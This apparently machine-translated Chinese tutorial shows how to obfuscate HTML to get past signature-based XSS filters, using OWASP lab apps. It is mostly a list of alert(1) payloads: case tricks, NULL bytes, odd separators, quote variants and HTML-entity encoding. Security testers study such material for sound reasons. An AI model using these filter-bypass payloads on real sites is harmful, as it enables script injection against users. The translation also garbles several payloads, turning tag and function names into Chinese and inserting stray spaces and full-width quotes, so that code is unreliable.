绕过基于签名的XSS筛选器:修改HTML
绕过基于签名的XSS筛选器:修改HTML
在很多情况下,您可能会发现基于签名的过滤器只需切换到一个不太熟悉的执行脚本的方法即可。如果失败了,您需要查看混淆攻击的方法。
本文提供了HTML语法可以被混淆以击败常用过滤器的方式示例。
该示例使用OWASP的Broken Web Application Project中的“DVWA”和“Magical Code Injection Rainbow”的版本。了解如何下载,安装和使用此项目。
旨在阻止XSS攻击的基于签名的过滤器通常使用正则表达式或其他技术来标识关键HTML组件,如标签括号,标签名称,属性名称和属性值。
许多这些过滤器可以通过在一个或多个浏览器容忍的方式下在HTML内的关键点放置不寻常的字符来绕过。
考虑以下简单的利用。
<img onerror = alert(1)src = a>
您可以通过多种方式修改此语法,并且仍然可以在至少一个浏览器上执行代码。
标签名称
从开始标记名称开始,可以简单地通过改变所使用字符的大小来绕过最简单和朴素的过滤器:
<iMg onerror = alert(1)src = a>
更进一步,如果稍微修改示例,则可以使用任意标记名称来引入事件处理程序,从而绕过仅阻止特定命名标记的筛选器:
<x onclick = alert(1)scr = a>点击此处</ x>
另外,你可以在任何位置插入NULL字节。
注意:NULL字节技巧适用于HTML页面中任何位置的Internet Explorer。自由使用NULL字节通常提供了一种快速方法来绕过不知道IE行为的基于签名的过滤器。
<[%00] img onerror = alert(1)src = a>
注意:在这些示例中,[%xx]
指示xx的十六进制ASCII代码的文字字符。
标签名称后的空格
几个字符可以替换标签名称和第一个属性名称之间的空格:
<img / onerror = alert(1)src = a>
<img / anyjunk / onerror = alert(1)src = a>
<img“”“> <script> alert(”alert(1)“)</ script>”>>
注意:即使在攻击不需要任何标签属性的情况下,也应该尝试在标签名称之后添加一些多余的内容,因为这会绕过一些简单的过滤器:
<脚本/ anyjunk>警报(1)</ SCRIPT>
属性分隔符
在原始示例中,属性值未被分隔,需要在属性值后面留出一些空白,以指示在引入另一个属性之前它已结束。
属性可以选择用双引号或单引号分隔,或者在IE上使用反引号:
<img onerror =“alert(1)”src = a>
<img onerror ='alert(1)'src = a>
<img onerror =`alert(1)`src = a>
在前面的示例中周围的属性的切换提供了进一步的方法来绕过一些过滤器,检查开始属性名称上。
<img src ='a'onerror = alert(1)>
通过将引号分隔的属性与标记名称后面的意外字符相结合,可以设计出不使用任何空格的攻击,从而绕过一些简单的过滤器:
<IMG /的onerror = “警报(1)” SRC = A>
属性名称和值
在属性名称和值中,可以使用前面描述的相同的NULL字节技巧。
<img onerror = a [%00] lert(1)src = a>
<i [%00] mg onerror = alert(1)src = a>
您也可以对值进行HTML编码:
<img onerror = a&#x6c; ert(1)src = a>
由于浏览器HTML在对其进一步处理之前对属性值进行解码,因此可以使用HTML编码来混淆使用脚本代码,从而避免使用多个过滤器。
值得注意的是,浏览器可以容忍各种规范的偏差,甚至可以忽略那些知道HTML编码的过滤器。您可以同时使用十进制和十六进制格式,添加多余的前导零,并省略后缀分号。
<img onerror = a&#x06c; ert(1)src = a>
<img onerror = a&#x006c; ert(1)src = a>
<img onerror = a&#x0006c; ert(1)src = a>
<img onerror = a&#108; ert(1)src = a>
<img onerror = a&#0108; ert(1)src = a>
<img onerror = a&#108ert(1)src = a>